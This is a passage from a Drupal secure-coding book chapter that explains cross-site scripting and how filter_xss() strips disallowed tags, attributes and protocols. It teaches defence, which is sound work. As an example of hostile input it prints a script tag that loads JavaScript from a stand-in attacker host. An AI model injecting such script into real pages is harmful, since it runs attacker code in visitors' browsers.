CHAPTER 21 ■ WRITING SECURE CODE

Download from Wow! eBook <www.wowebook.com>

Figure 21-1. Effect of the placeholder prefixes on string replacement

Using filter_xss() to Prevent Cross-Site Scripting Attacks

Cross-site scripting (XSS) is a common form of attack on a web site where the attacker is able to insert his or her own code into a web page, which can then be used for all sorts of mischief.

■ Note For examples of XSS attacks, see http://ha.ckers.org/xss.html.

470

CHAPTER 21 ■ WRITING SECURE CODE

Suppose that you allow users to enter HTML on your web site, expecting them to enter

<em>Hi!</em> My name is Sally, and I...

But instead they enter

<script src=http://evil.example.com/xss.js"></script>

Whoops! Again, the lesson is to never trust user input. Here is the function signature of filter_xss():

filter_xss($string, $allowed_tags = array('a', 'em', 'strong', 'cite', 'blockquote', 'code', 'ul', 'ol', 'li', 'dl', 'dt', 'dd'))

The filter_xss() function performs the following operations on the text string it is given:

1.It checks to make sure that the text being filtered is valid UTF-8 to avoid a bug with Internet Explorer 6.

2.It removes odd characters such as NULL and Netscape 4 JavaScript entities.

3.It ensures that HTML entities such as & are well formed.

4.It ensures that HTML tags and tag attributes are well formed. During this process, tags that are not on the whitelist—that is, the second parameter for filter_xss()—are removed. The style attribute is removed, too, because that can interfere with the layout of a page by overriding CSS or hiding content by setting a spammer’s link color to the background color of the page. Any attributes that begin with on are removed (e.g., onclick or onfocus) because they represent JavaScript event-handler definitions. If you write regular expressions for fun and can name character codes for HTML entities from memory, you’ll enjoy stepping through filter_xss() (found in modules/filter/filter.module) and its associated functions with a debugger.

5.It ensures that no HTML tags contain disallowed protocols. Allowed protocols are http, https, ftp, news, nntp, telnet, mailto, irc, ssh, sftp, and webcal. You can modify this list by setting the filter_allowed_protocols variable. For example, you could restrict the protocols to http and https by adding the following line to your settings.php file (see the comment about variable overrides in the settings.php file):

$conf = array(

'filter_allowed_protocols' => array('http', 'https')

);

Here’s an example of the use of filter_xss() from modules/aggregator/aggregator.pages.inc. The aggregator module deals with potentially dangerous RSS or Atom feeds. Here the module is preparing variables for use:

471